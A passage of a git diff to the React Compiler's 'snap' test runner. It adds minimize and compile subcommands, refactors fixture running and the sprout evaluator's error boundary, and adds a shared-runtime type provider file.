+  const firstLine = input.substring(0, input.indexOf('\n'));
+  const language = parseLanguage(firstLine);
+  const sourceType = parseSourceType(firstLine);
+
+  console.log(`Minimizing: ${inputPath}`);
+
+  const originalLines = input.split('\n').length;
+
+  // Run the minimization
+  const result = minimize(input, filename, language, sourceType);
+
+  if (result.kind === 'success') {
+    console.log('Could not minimize: the input compiles successfully.');
+    process.exit(0);
+  }
+
+  if (result.kind === 'minimal') {
+    console.log(
+      'Could not minimize: the input fails but is already minimal and cannot be reduced further.',
+    );
+    process.exit(0);
+  }
+
+  // Output the minimized code
+  console.log('--- Minimized Code ---');
+  console.log(result.source);
+
+  const minimizedLines = result.source.split('\n').length;
+  console.log(
+    `\nReduced from ${originalLines} lines to ${minimizedLines} lines`,
+  );
+
+  if (opts.update) {
+    fs.writeFileSync(inputPath, result.source, 'utf-8');
+    console.log(`\nUpdated ${inputPath} with minimized code.`);
+  }
+}
+
+async function runCompileCommand(opts: CompileOptions): Promise<void> {
+  // Resolve the input path
+  const inputPath = path.isAbsolute(opts.path)
+    ? opts.path
+    : path.resolve(PROJECT_ROOT, opts.path);
+
+  // Check if file exists
+  if (!fs.existsSync(inputPath)) {
+    console.error(`Error: File not found: ${inputPath}`);
+    process.exit(1);
+  }
+
+  // Read the input file
+  const input = fs.readFileSync(inputPath, 'utf-8');
+  const filename = path.basename(inputPath);
+  const firstLine = input.substring(0, input.indexOf('\n'));
+  const language = parseLanguage(firstLine);
+  const sourceType = parseSourceType(firstLine);
+
+  // Import the compiler
+  const importedCompilerPlugin = require(BABEL_PLUGIN_SRC) as Record<
+    string,
+    any
+  >;
+  const BabelPluginReactCompiler = importedCompilerPlugin['default'];
+  const parseConfigPragmaForTests =
+    importedCompilerPlugin[PARSE_CONFIG_PRAGMA_IMPORT];
+  const printFunctionWithOutlined = importedCompilerPlugin[PRINT_HIR_IMPORT];
+  const printReactiveFunctionWithOutlined =
+    importedCompilerPlugin[PRINT_REACTIVE_IR_IMPORT];
+  const EffectEnum = importedCompilerPlugin['Effect'];
+  const ValueKindEnum = importedCompilerPlugin['ValueKind'];
+  const ValueReasonEnum = importedCompilerPlugin['ValueReason'];
+
+  // Setup debug logger
+  let lastLogged: string | null = null;
+  const debugIRLogger = opts.debug
+    ? (value: any) => {
+        let printed: string;
+        switch (value.kind) {
+          case 'hir':
+            printed = printFunctionWithOutlined(value.value);
+            break;
+          case 'reactive':
+            printed = printReactiveFunctionWithOutlined(value.value);
+            break;
+          case 'debug':
+            printed = value.value;
+            break;
+          case 'ast':
+            printed = '(ast)';
+            break;
+          default:
+            printed = String(value);
+        }
+
+        if (printed !== lastLogged) {
+          lastLogged = printed;
+          console.log(`${chalk.green(value.name)}:\n${printed}\n`);
+        } else {
+          console.log(`${chalk.blue(value.name)}: (no change)\n`);
+        }
+      }
+    : () => {};
+
+  // Parse the input
+  let ast;
+  try {
+    ast = parseInput(input, filename, language, sourceType);
+  } catch (e: any) {
+    console.error(`Parse error: ${e.message}`);
+    process.exit(1);
+  }
+
+  // Build plugin options
+  const config = parseConfigPragmaForTests(firstLine, {compilationMode: 'all'});
+  const options = {
+    ...config,
+    environment: {
+      ...config.environment,
+    },
+    logger: {
+      logEvent: () => {},
+      debugLogIRs: debugIRLogger,
+    },
+    enableReanimatedCheck: false,
+  };
+
+  // Compile
+  const {transformFromAstSync} = require('@babel/core');
+  try {
+    const result = transformFromAstSync(ast, input, {
+      filename: '/' + filename,
+      highlightCode: false,
+      retainLines: true,
+      compact: true,
+      plugins: [[BabelPluginReactCompiler, options]],
+      sourceType: 'module',
+      ast: false,
+      cloneInputAst: true,
+      configFile: false,
+      babelrc: false,
+    });
+
+    if (result?.code != null) {
+      // Format the output
+      const prettier = require('prettier');
+      const formatted = await prettier.format(result.code, {
+        semi: true,
+        parser: language === 'typescript' ? 'babel-ts' : 'flow',
+      });
+      console.log(formatted);
+    } else {
+      console.error('Error: No code emitted from compiler');
+      process.exit(1);
+    }
+  } catch (e: any) {
+    console.error(e.message);
+    process.exit(1);
+  }
+}
+
+yargs(hideBin(process.argv))
+  .command(
+    ['test', '$0'],
+    'Run compiler tests',
+    yargs => {
+      return yargs
+        .boolean('sync')
+        .describe(
+          'sync',
+          'Run compiler in main thread (instead of using worker threads or subprocesses). Defaults to false.',
+        )
+        .default('sync', false)
+        .boolean('worker-threads')
+        .describe(
+          'worker-threads',
+          'Run compiler in worker threads (instead of subprocesses). Defaults to true.',
+        )
+        .default('worker-threads', true)
+        .boolean('watch')
+        .describe(
+          'watch',
+          'Run compiler in watch mode, re-running after changes',
+        )
+        .alias('w', 'watch')
+        .default('watch', false)
+        .boolean('update')
+        .alias('u', 'update')
+        .describe('update', 'Update fixtures')
+        .default('update', false)
+        .string('pattern')
+        .alias('p', 'pattern')
+        .describe(
+          'pattern',
+          'Optional glob pattern to filter fixtures (e.g., "error.*", "use-memo")',
+        )
+        .boolean('debug')
+        .alias('d', 'debug')
+        .describe('debug', 'Enable debug logging to print HIR for each pass')
+        .default('debug', false)
+        .boolean('verbose')
+        .alias('v', 'verbose')
+        .describe('verbose', 'Print individual test results')
+        .default('verbose', false);
+    },
+    async argv => {
+      await runTestCommand(argv as TestOptions);
+    },
   )
-  .default("sync", false)
-  .boolean("worker-threads")
-  .describe(
-    "worker-threads",
-    "Run compiler in worker threads (instead of subprocesses). Defaults to true."
+  .command(
+    'minimize <path>',
+    'Minimize a test case to reproduce a compiler error',
+    yargs => {
+      return yargs
+        .positional('path', {
+          describe: 'Path to the file to minimize',
+          type: 'string',
+          demandOption: true,
+        })
+        .boolean('update')
+        .alias('u', 'update')
+        .describe(
+          'update',
+          'Update the input file in-place with the minimized version',
+        )
+        .default('update', false);
+    },
+    async argv => {
+      await runMinimizeCommand(argv as unknown as MinimizeOptions);
+    },
   )
-  .default("worker-threads", true)
-  .boolean("watch")
-  .describe("watch", "Run compiler in watch mode, re-running after changes")
-  .default("watch", false)
-  .boolean("update")
-  .describe("update", "Update fixtures")
-  .default("update", false)
-  .boolean("filter")
-  .describe(
-    "filter",
-    "Only run fixtures which match the contents of testfilter.txt"
+  .command(
+    'compile <path>',
+    'Compile a file with the React Compiler',
+    yargs => {
+      return yargs
+        .positional('path', {
+          describe: 'Path to the file to compile',
+          type: 'string',
+          demandOption: true,
+        })
+        .boolean('debug')
+        .alias('d', 'debug')
+        .describe('debug', 'Enable debug logging to print HIR for each pass')
+        .default('debug', false);
+    },
+    async argv => {
+      await runCompileCommand(argv as unknown as CompileOptions);
+    },
   )
-  .default("filter", false)
-  .help("help")
+  .help('help')
   .strict()
-  .parseSync(hideBin(process.argv));
+  .demandCommand()
+  .parse();
 
 /**
  * Do a test run and return the test results
@@ -71,28 +430,27 @@ const opts: RunnerOptions = yargs
 async function runFixtures(
   worker: Worker & typeof runnerWorker,
   filter: TestFilter | null,
-  compilerVersion: number
+  compilerVersion: number,
+  debug: boolean,
+  requireSingleFixture: boolean,
+  sync: boolean,
 ): Promise<TestResults> {
   // We could in theory be fancy about tracking the contents of the fixtures
   // directory via our file subscription, but it's simpler to just re-read
   // the directory each time.
   const fixtures = await getFixtures(filter);
   const isOnlyFixture = filter !== null && fixtures.size === 1;
+  const shouldLog = debug && (!requireSingleFixture || isOnlyFixture);
 
   let entries: Array<[string, TestResult]>;
-  if (!opts.sync) {
+  if (!sync) {
     // Note: promise.all to ensure parallelism when enabled
     const work: Array<Promise<[string, TestResult]>> = [];
     for (const [fixtureName, fixture] of fixtures) {
       work.push(
         worker
-          .transformFixture(
-            fixture,
-            compilerVersion,
-            (filter?.debug ?? false) && isOnlyFixture,
-            true
-          )
-          .then((result) => [fixtureName, result])
+          .transformFixture(fixture, compilerVersion, shouldLog, true)
+          .then(result => [fixtureName, result]),
       );
     }
 
@@ -103,8 +461,8 @@ async function runFixtures(
       let output = await runnerWorker.transformFixture(
         fixture,
         compilerVersion,
-        (filter?.debug ?? false) && isOnlyFixture,
-        true
+        shouldLog,
+        true,
       );
       entries.push([fixtureName, output]);
     }
@@ -116,117 +474,60 @@ async function runFixtures(
 // Callback to re-run tests after some change
 async function onChange(
   worker: Worker & typeof runnerWorker,
-  state: RunnerState
+  state: RunnerState,
+  sync: boolean,
+  verbose: boolean,
 ) {
-  const { compilerVersion, isCompilerBuildValid, mode, filter } = state;
+  const {compilerVersion, isCompilerBuildValid, mode, filter, debug} = state;
   if (isCompilerBuildValid) {
     const start = performance.now();
 
     // console.clear() only works when stdout is connected to a TTY device.
     // we're currently piping stdout (see main.ts), so let's do a 'hack'
-    console.log("\u001Bc");
+    console.log('\u001Bc');
 
     // we don't clear console after this point, since
     // it may contain debug console logging
     const results = await runFixtures(
       worker,
       mode.filter ? filter : null,
-      compilerVersion
+      compilerVersion,
+      debug,
+      true, // requireSingleFixture in watch mode
+      sync,
     );
     const end = performance.now();
+
+    // Track fixture status for autocomplete suggestions
+    for (const [basename, result] of results) {
+      const failed =
+        result.actual !== result.expected || result.unexpectedError != null;
+      state.fixtureLastRunStatus.set(basename, failed ? 'fail' : 'pass');
+    }
+
     if (mode.action === RunnerAction.Update) {
       update(results);
       state.lastUpdate = end;
     } else {
-      report(results);
+      report(results, verbose);
     }
     console.log(`Completed in ${Math.floor(end - start)} ms`);
   } else {
     console.error(
-      `${mode}: Found errors in Forget source code, skipping test fixtures.`
+      `${mode}: Found errors in Forget source code, skipping test fixtures.`,
     );
   }
   console.log(
-    "\n" +
+    '\n' +
       (mode.filter
-        ? `Current mode = FILTER, filter test fixtures by "${FILTER_PATH}".`
-        : "Current mode = NORMAL, run all test fixtures.") +
-      "\nWaiting for input or file changes...\n" +
-      "u     - update all fixtures\n" +
-      `f     - toggle (turn ${mode.filter ? "off" : "on"}) filter mode\n` +
-      "q     - quit\n" +
-      "[any] - rerun tests\n"
+        ? `Current mode = FILTER, pattern = "${filter?.paths[0] ?? ''}".`
+        : 'Current mode = NORMAL, run all test fixtures.') +
+      '\nWaiting for input or file changes...\n' +
+      'u     - update all fixtures\n' +
+      `d     - toggle (turn ${debug ? 'off' : 'on'}) debug logging\n` +
+      'p     - enter pattern to filter fixtures\n' +
+      (mode.filter ? 'a     - run all tests (exit filter mode)\n' : '') +
+      'q     - quit\n' +
+      '[any] - rerun tests\n',
   );
 }
-
-/**
- * Runs the compiler in watch or single-execution mode
- */
-export async function main(opts: RunnerOptions): Promise<void> {
-  const worker: Worker & typeof runnerWorker = new Worker(WORKER_PATH, {
-    enableWorkerThreads: opts.workerThreads,
-    numWorkers: NUM_WORKERS,
-  }) as any;
-  worker.getStderr().pipe(process.stderr);
-  worker.getStdout().pipe(process.stdout);
-
-  if (opts.watch) {
-    makeWatchRunner((state) => onChange(worker, state), opts.filter);
-    if (opts.filter) {
-      /**
-       * Warm up wormers when in watch mode. Loading the Forget babel plugin
-       * and all of its transitive dependencies takes 1-3s (per worker) on a M1.
-       * As jest-worker dispatches tasks using a round-robin strategy, we can
-       * avoid an additional 1-3s wait on the first num_workers runs by warming
-       * up workers eagerly.
-       */
-      for (let i = 0; i < NUM_WORKERS - 1; i++) {
-        worker.transformFixture(
-          {
-            fixturePath: "tmp",
-            snapshotPath: "./tmp.expect.md",
-            inputPath: "./tmp.js",
-            input: `
-            function Foo(props) {
-              return identity(props);
-            }
-            `,
-            snapshot: null,
-          },
-          0,
-          false,
-          false
-        );
-      }
-    }
-  } else {
-    // Non-watch mode. For simplicity we re-use the same watchSrc() function.
-    // After the first build completes run tests and exit
-    const tsWatch: ts.WatchOfConfigFile<ts.SemanticDiagnosticsBuilderProgram> =
-      watchSrc(
-        () => {},
-        async (compileSuccess: boolean) => {
-          let isSuccess = compileSuccess;
-          if (compileSuccess) {
-            const testFilter = opts.filter ? await readTestFilter() : null;
-            const results = await runFixtures(worker, testFilter, 0);
-            if (opts.update) {
-              update(results);
-            } else {
-              const testSuccess = report(results);
-              isSuccess &&= testSuccess;
-            }
-          } else {
-            console.error(
-              "Found errors in Forget source code, skipping test fixtures."
-            );
-          }
-          tsWatch.close();
-          await worker.end();
-          process.exit(isSuccess ? 0 : 1);
-        }
-      );
-  }
-}
-
-main(opts).catch((error) => console.error(error));
diff --git a/compiler/packages/snap/src/sprout/evaluator.ts b/compiler/packages/snap/src/sprout/evaluator.ts
index 61d32e8b24b2..ba44f01b0aa3 100644
--- a/compiler/packages/snap/src/sprout/evaluator.ts
+++ b/compiler/packages/snap/src/sprout/evaluator.ts
@@ -5,18 +5,13 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { render } from "@testing-library/react";
-import { JSDOM } from "jsdom";
-import React, { MutableRefObject } from "react";
-// @ts-ignore
-import { c as useMemoCache } from "react/compiler-runtime";
-import util from "util";
-import { z } from "zod";
-import { fromZodError } from "zod-validation-error";
-import { initFbt, toJSON } from "./shared-runtime";
-
-// @ts-ignore
-React.c = useMemoCache;
+import {render} from '@testing-library/react';
+import {JSDOM} from 'jsdom';
+import React, {MutableRefObject} from 'react';
+import util from 'util';
+import {z} from 'zod/v4';
+import {fromZodError} from 'zod-validation-error/v4';
+import {initFbt, toJSON} from './shared-runtime';
 
 /**
  * Set up the global environment for JSDOM tests.
@@ -25,7 +20,7 @@ React.c = useMemoCache;
  * in the jsdom test environment (which provides more isolation), but that
  * may be slower.
  */
-const { window: testWindow } = new JSDOM(undefined);
+const {window: testWindow} = new JSDOM(undefined);
 (globalThis as any).document = testWindow.document;
 (globalThis as any).window = testWindow.window;
 (globalThis as any).React = React;
@@ -33,10 +28,10 @@ const { window: testWindow } = new JSDOM(undefined);
 initFbt();
 
 (globalThis as any).placeholderFn = function (..._args: Array<any>) {
-  throw new Error("Fixture not implemented!");
+  throw new Error('Fixture not implemented!');
 };
 export type EvaluatorResult = {
-  kind: "ok" | "exception" | "UnexpectedError";
+  kind: 'ok' | 'exception' | 'UnexpectedError';
   value: string;
   logs: Array<string>;
 };
@@ -60,38 +55,55 @@ const ExportSchema = z.object({
   FIXTURE_ENTRYPOINT: EntrypointSchema,
 });
 
+const NO_ERROR_SENTINEL = Symbol();
 /**
  * Wraps WrapperTestComponent in an error boundary to simplify re-rendering
  * when an exception is thrown.
  * A simpler alternative may be to re-mount test components manually.
  */
 class WrapperTestComponentWithErrorBoundary extends React.Component<
-  { fn: any; params: Array<any> },
-  { hasError: boolean; error: any }
+  {fn: any; params: Array<any>},
+  {errorFromLastRender: any}
 > {
-  propsErrorMap: MutableRefObject<Map<any, any>>;
+  /**
+   * Limit retries of the child component by caching seen errors.
+   */
+  propsErrorMap: Map<any, any>;
+  lastProps: any | null;
+  // lastProps: object | null;
   constructor(props: any) {
     super(props);
-    this.state = { hasError: false, error: null };
-    this.propsErrorMap = React.createRef() as MutableRefObject<Map<any, any>>;
-    this.propsErrorMap.current = new Map();
+    this.lastProps = null;
+    this.propsErrorMap = new Map<any, any>();
+    this.state = {
+      errorFromLastRender: NO_ERROR_SENTINEL,
+    };
   }
   static getDerivedStateFromError(error: any) {
-    return { hasError: true, error: error };
+    // Reschedule a second render that immediately returns the cached error
+    return {errorFromLastRender: error};
   }
   override componentDidUpdate() {
-    if (this.state.hasError) {
-      this.setState({ hasError: false, error: null });
+    if (this.state.errorFromLastRender !== NO_ERROR_SENTINEL) {
+      // Reschedule a third render that immediately returns the cached error
+      this.setState({errorFromLastRender: NO_ERROR_SENTINEL});
     }
   }
   override render() {
-    if (this.state.hasError) {
-      this.propsErrorMap.current!.set(
-        this.props,
-        `[[ (exception in render) ${this.state.error?.toString()} ]]`
-      );
+    if (
+      this.state.errorFromLastRender !== NO_ERROR_SENTINEL &&
+      this.props === this.lastProps
+    ) {
+      /**
+       * The last render errored, cache the error message to avoid running the
+       * test fixture more than once
+       */
+      const errorMsg = `[[ (exception in render) ${this.state.errorFromLastRender?.toString()} ]]`;
+      this.propsErrorMap.set(this.lastProps, errorMsg);
+      return errorMsg;
     }
-    const cachedError = this.propsErrorMap.current!.get(this.props);
+    this.lastProps = this.props;
+    const cachedError = this.propsErrorMap.get(this.props);
     if (cachedError != null) {
       return cachedError;
     }
@@ -99,12 +111,12 @@ class WrapperTestComponentWithErrorBoundary extends React.Component<
   }
 }
 
-function WrapperTestComponent(props: { fn: any; params: Array<any> }) {
+function WrapperTestComponent(props: {fn: any; params: Array<any>}) {
   const result = props.fn(...props.params);
   // Hacky solution to determine whether the fixture returned jsx (which
   // needs to passed through to React's runtime as-is) or a non-jsx value
   // (which should be converted to a string).
-  if (typeof result === "object" && result != null && "$$typeof" in result) {
+  if (typeof result === 'object' && result != null && '$$typeof' in result) {
     return result;
   } else {
     return toJSON(result);
@@ -113,20 +125,20 @@ function WrapperTestComponent(props: { fn: any; params: Array<any> }) {
 
 function renderComponentSequentiallyForEachProps(
   fn: any,
-  sequentialRenders: Array<any>
+  sequentialRenders: Array<any>,
 ): string {
   if (sequentialRenders.length === 0) {
     throw new Error(
-      "Expected at least one set of props when using `sequentialRenders`"
+      'Expected at least one set of props when using `sequentialRenders`',
     );
   }
   const initialProps = sequentialRenders[0]!;
   const results = [];
-  const { rerender, container } = render(
+  const {rerender, container} = render(
     React.createElement(WrapperTestComponentWithErrorBoundary, {
       fn,
       params: [initialProps],
-    })
+    }),
   );
   results.push(container.innerHTML);
 
@@ -135,25 +147,25 @@ function renderComponentSequentiallyForEachProps(
       React.createElement(WrapperTestComponentWithErrorBoundary, {
         fn,
         params: [sequentialRenders[i]],
-      })
+      }),
     );
     results.push(container.innerHTML);
   }
-  return results.join("\n");
+  return results.join('\n');
 }
 
-type FixtureEvaluatorResult = Omit<EvaluatorResult, "logs">;
+type FixtureEvaluatorResult = Omit<EvaluatorResult, 'logs'>;
 (globalThis as any).evaluateFixtureExport = function (
-  exports: unknown
+  exports: unknown,
 ): FixtureEvaluatorResult {
   const parsedExportResult = ExportSchema.safeParse(exports);
   if (!parsedExportResult.success) {
     const exportDetail =
-      typeof exports === "object" && exports != null
+      typeof exports === 'object' && exports != null
         ? `object ${util.inspect(exports)}`
         : `${exports}`;
     return {
-      kind: "UnexpectedError",
+      kind: 'UnexpectedError',
       value: `${fromZodError(parsedExportResult.error)}\nFound ` + exportDetail,
     };
   }
@@ -161,49 +173,49 @@ type FixtureEvaluatorResult = Omit<EvaluatorResult, "logs">;
   if (entrypoint.sequentialRenders !== null) {
     const result = renderComponentSequentiallyForEachProps(
       entrypoint.fn,
-      entrypoint.sequentialRenders
+      entrypoint.sequentialRenders,
     );
 
     return {
-      kind: "ok",
-      value: result ?? "null",
+      kind: 'ok',
+      value: result ?? 'null',
     };
-  } else if (typeof entrypoint.fn === "object") {
+  } else if (typeof entrypoint.fn === 'object') {
     // Try to run fixture as a react component. This is necessary because not
     // all components are functions (some are ForwardRef or Memo objects).
     const result = render(
-      React.createElement(entrypoint.fn as any, entrypoint.params[0])
+      React.createElement(entrypoint.fn as any, entrypoint.params[0]),
     ).container.innerHTML;
 
     return {
-      kind: "ok",
-      value: result ?? "null",
+      kind: 'ok',
+      value: result ?? 'null',
     };
   } else {
     const result = render(React.createElement(WrapperTestComponent, entrypoint))
       .container.innerHTML;
 
     return {
-      kind: "ok",
-      value: result ?? "null",
+      kind: 'ok',
+      value: result ?? 'null',
     };
   }
 };
 
 export function doEval(source: string): EvaluatorResult {
-  "use strict";
+  'use strict';
 
   const originalConsole = globalThis.console;
   const logs: Array<string> = [];
   const mockedLog = (...args: Array<any>) => {
     logs.push(
-      `${args.map((arg) => {
+      `${args.map(arg => {
         if (arg instanceof Error) {
           return arg.toString();
         } else {
           return util.inspect(arg);
         }
-      })}`
+      })}`,
     );
   };
 
@@ -213,22 +225,22 @@ export function doEval(source: string): EvaluatorResult {
     warn: mockedLog,
     error: (...args: Array<any>) => {
       if (
-        typeof args[0] === "string" &&
-        args[0].includes("ReactDOMTestUtils.act` is deprecated")
+        typeof args[0] === 'string' &&
+        args[0].includes('ReactDOMTestUtils.act` is deprecated')
       ) {
         // remove this once @testing-library/react is upgraded to React 19.
         return;
       }
 
-      const stack = new Error().stack?.split("\n", 5) ?? [];
+      const stack = new Error().stack?.split('\n', 5) ?? [];
       for (const stackFrame of stack) {
         // React warns on exceptions thrown during render, we avoid printing
         // here to reduce noise in test fixture outputs.
         if (
-          (stackFrame.includes("at logCaughtError") &&
-            stackFrame.includes("react-dom-client.development.js")) ||
-          (stackFrame.includes("at defaultOnRecoverableError") &&
-            stackFrame.includes("react-dom-client.development.js"))
+          (stackFrame.includes('at logCaughtError') &&
+            stackFrame.includes('react-dom-client.development.js')) ||
+          (stackFrame.includes('at defaultOnRecoverableError') &&
+            stackFrame.includes('react-dom-client.development.js'))
         ) {
           return;
         }
@@ -284,9 +296,12 @@ export function doEval(source: string): EvaluatorResult {
   } catch (e) {
     // syntax errors will cause the eval to throw and bubble up here
     return {
-      kind: "UnexpectedError",
+      kind: 'UnexpectedError',
       value:
-        "Unexpected error during eval, possible syntax error?\n" + e.message,
+        'Unexpected error during eval, possible syntax error?\n' +
+        e.message +
+        '\n\nsource:\n' +
+        source,
       logs,
     };
   } finally {
diff --git a/compiler/packages/snap/src/sprout/index.ts b/compiler/packages/snap/src/sprout/index.ts
index b3adad346ab7..04748bed28f4 100644
--- a/compiler/packages/snap/src/sprout/index.ts
+++ b/compiler/packages/snap/src/sprout/index.ts
@@ -5,21 +5,21 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { EvaluatorResult, doEval } from "./evaluator";
+import {EvaluatorResult, doEval} from './evaluator';
 
 export type SproutResult =
-  | { kind: "success"; value: string }
-  | { kind: "invalid"; value: string };
+  | {kind: 'success'; value: string}
+  | {kind: 'invalid'; value: string};
 
 function stringify(result: EvaluatorResult): string {
   return `(kind: ${result.kind}) ${result.value}${
-    result.logs.length > 0 ? `\nlogs: [${result.logs.toString()}]` : ""
+    result.logs.length > 0 ? `\nlogs: [${result.logs.toString()}]` : ''
   }`;
 }
 function makeError(description: string, value: string): SproutResult {
   return {
-    kind: "invalid",
-    value: description + "\n" + value,
+    kind: 'invalid',
+    value: description + '\n' + value,
   };
 }
 function logsEqual(a: Array<string>, b: Array<string>) {
@@ -30,19 +30,27 @@ function logsEqual(a: Array<string>, b: Array<string>) {
 }
 export function runSprout(
   originalCode: string,
-  forgetCode: string
+  forgetCode: string,
 ): SproutResult {
-  const forgetResult = doEval(forgetCode);
-  if (forgetResult.kind === "UnexpectedError") {
-    return makeError("Unexpected error in Forget runner", forgetResult.value);
+  let forgetResult;
+  try {
+    (globalThis as any).__SNAP_EVALUATOR_MODE = 'forget';
+    forgetResult = doEval(forgetCode);
+  } catch (e) {
+    throw e;
+  } finally {
+    (globalThis as any).__SNAP_EVALUATOR_MODE = undefined;
   }
-  if (originalCode.indexOf("@disableNonForgetInSprout") === -1) {
+  if (forgetResult.kind === 'UnexpectedError') {
+    return makeError('Unexpected error in Forget runner', forgetResult.value);
+  }
+  if (originalCode.indexOf('@disableNonForgetInSprout') === -1) {
     const nonForgetResult = doEval(originalCode);
 
-    if (nonForgetResult.kind === "UnexpectedError") {
+    if (nonForgetResult.kind === 'UnexpectedError') {
       return makeError(
-        "Unexpected error in non-forget runner",
-        nonForgetResult.value
+        'Unexpected error in non-forget runner',
+        nonForgetResult.value,
       );
     } else if (
       forgetResult.kind !== nonForgetResult.kind ||
@@ -50,17 +58,17 @@ export function runSprout(
       !logsEqual(forgetResult.logs, nonForgetResult.logs)
     ) {
       return makeError(
-        "Found differences in evaluator results",
+        'Found differences in evaluator results',
         `Non-forget (expected):
 ${stringify(nonForgetResult)}
 Forget:
 ${stringify(forgetResult)}
-`
+`,
       );
     }
   }
   return {
-    kind: "success",
+    kind: 'success',
     value: stringify(forgetResult),
   };
 }
diff --git a/compiler/packages/snap/src/sprout/shared-runtime-type-provider.ts b/compiler/packages/snap/src/sprout/shared-runtime-type-provider.ts
new file mode 100644
index 000000000000..229ee45b0da2
--- /dev/null
+++ b/compiler/packages/snap/src/sprout/shared-runtime-type-provider.ts
@@ -0,0 +1,319 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import type {
+  Effect,
+  ValueKind,
+  ValueReason,
+} from 'babel-plugin-react-compiler/src';
+import type {TypeConfig} from 'babel-plugin-react-compiler/src/HIR/TypeSchema';
+
+export function makeSharedRuntimeTypeProvider({
+  EffectEnum,
+  ValueKindEnum,
+  ValueReasonEnum,
+}: {
+  EffectEnum: typeof Effect;
+  ValueKindEnum: typeof ValueKind;
+  ValueReasonEnum: typeof ValueReason;
+}) {
+  return function sharedRuntimeTypeProvider(
+    moduleName: string,
+  ): TypeConfig | null {
+    if (moduleName === 'shared-runtime') {
+      return {
+        kind: 'object',
+        properties: {
+          default: {
+            kind: 'function',
+            calleeEffect: EffectEnum.Read,
+            positionalParams: [],
+            restParam: EffectEnum.Read,
+            returnType: {kind: 'type', name: 'Primitive'},
+            returnValueKind: ValueKindEnum.Primitive,
+          },
+          graphql: {
+            kind: 'function',
+            calleeEffect: EffectEnum.Read,
+            positionalParams: [],
+            restParam: EffectEnum.Read,
+            returnType: {kind: 'type', name: 'Primitive'},
+            returnValueKind: ValueKindEnum.Primitive,
+          },
+          typedArrayPush: {
+            kind: 'function',
+            calleeEffect: EffectEnum.Read,
+            positionalParams: [EffectEnum.Store, EffectEnum.Capture],
+            restParam: EffectEnum.Capture,
+            returnType: {kind: 'type', name: 'Primitive'},
+            returnValueKind: ValueKindEnum.Primitive,
+          },
+          typedLog: {
+            kind: 'function',
+            calleeEffect: EffectEnum.Read,
+            positionalParams: [],
+            restParam: EffectEnum.Read,
+            returnType: {kind: 'type', name: 'Primitive'},
+            returnValueKind: ValueKindEnum.Primitive,
+          },
+          useFreeze: {
+            kind: 'hook',
+            returnType: {kind: 'type', name: 'Any'},
+          },
+          useFragment: {
+            kind: 'hook',
+            returnType: {kind: 'type', name: 'MixedReadonly'},
+            noAlias: true,
+          },
+          useNoAlias: {
+            kind: 'hook',
+            returnType: {kind: 'type', name: 'Any'},
+            returnValueKind: ValueKindEnum.Mutable,
+            noAlias: true,
+          },
+          typedIdentity: {
+            kind: 'function',
+            positionalParams: [EffectEnum.Read],
+            restParam: null,
+            calleeEffect: EffectEnum.Read,
+            returnType: {kind: 'type', name: 'Any'},
+            returnValueKind: ValueKindEnum.Mutable,
+            aliasing: {
+              receiver: '@receiver',
+              params: ['@value'],
+              rest: null,
+              returns: '@return',
+              temporaries: [],
+              effects: [{kind: 'Assign', from: '@value', into: '@return'}],
+            },
+          },
+          typedAssign: {
+            kind: 'function',
+            positionalParams: [EffectEnum.Read],
+            restParam: null,
+            calleeEffect: EffectEnum.Read,
+            returnType: {kind: 'type', name: 'Any'},
+            returnValueKind: ValueKindEnum.Mutable,
+            aliasing: {
+              receiver: '@receiver',
+              params: ['@value'],
+              rest: null,
+              returns: '@return',
+              temporaries: [],
+              effects: [{kind: 'Assign', from: '@value', into: '@return'}],
+            },
+          },
+          typedAlias: {
+            kind: 'function',
+            positionalParams: [EffectEnum.Read],
+            restParam: null,
+            calleeEffect: EffectEnum.Read,
+            returnType: {kind: 'type', name: 'Any'},
+            returnValueKind: ValueKindEnum.Mutable,
+            aliasing: {
+              receiver: '@receiver',
+              params: ['@value'],
+              rest: null,
+              returns: '@return',
+              temporaries: [],
+              effects: [
+                {
+                  kind: 'Create',
+                  into: '@return',
+                  value: ValueKindEnum.Mutable,
+                  reason: ValueReasonEnum.KnownReturnSignature,
+                },
+                {kind: 'Alias', from: '@value', into: '@return'},
+              ],
+            },
+          },
+          typedCapture: {
+            kind: 'function',
+            positionalParams: [EffectEnum.Read],
+            restParam: null,
+            calleeEffect: EffectEnum.Read,
+            returnType: {kind: 'type', name: 'Array'},
+            returnValueKind: ValueKindEnum.Mutable,
+            aliasing: {
+              receiver: '@receiver',
+              params: ['@value'],
+              rest: null,
+              returns: '@return',
+              temporaries: [],
+              effects: [
+                {
+                  kind: 'Create',
+                  into: '@return',
+                  value: ValueKindEnum.Mutable,
+                  reason: ValueReasonEnum.KnownReturnSignature,
+                },
+                {kind: 'Capture', from: '@value', into: '@return'},
+              ],
+            },
+          },
+          typedCreateFrom: {
+            kind: 'function',
+            positionalParams: [EffectEnum.Read],
+            restParam: null,
+            calleeEffect: EffectEnum.Read,
+            returnType: {kind: 'type', name: 'Any'},
+            returnValueKind: ValueKindEnum.Mutable,
+            aliasing: {
+              receiver: '@receiver',
+              params: ['@value'],
+              rest: null,
+              returns: '@return',
+              temporaries: [],
+              effects: [{kind: 'CreateFrom', from: '@value', into: '@return'}],
+            },
+          },
+          typedMutate: {
+            kind: 'function',
+            positionalParams: [EffectEnum.Read, EffectEnum.Capture],
+            restParam: null,
+            calleeEffect: EffectEnum.Store,
+            returnType: {kind: 'type', name: 'Primitive'},
+            returnValueKind: ValueKindEnum.Primitive,
+            aliasing: {
+              receiver: '@receiver',
+              params: ['@object', '@value'],
+              rest: null,
+              returns: '@return',
+              temporaries: [],
+              effects: [
+                {
+                  kind: 'Create',
+                  into: '@return',
+                  value: ValueKindEnum.Primitive,
+                  reason: ValueReasonEnum.KnownReturnSignature,
+                },
+                {kind: 'Mutate', value: '@object'},
+                {kind: 'Capture', from: '@value', into: '@object'},
+              ],
+            },
+          },
+          PanResponder: {
+            kind: 'object',
+            properties: {
+              create: {
+                kind: 'function',
+                positionalParams: [EffectEnum.Freeze],
+                restParam: null,
+                calleeEffect: EffectEnum.Read,
+                returnType: {kind: 'type', name: 'Any'},
+                returnValueKind: ValueKindEnum.Frozen,
+                aliasing: {
+                  receiver: '@receiver',
+                  params: ['@config'],
+                  rest: null,
+                  returns: '@returns',
+                  temporaries: [],
+                  effects: [
+                    {
+                      kind: 'Freeze',
+                      value: '@config',
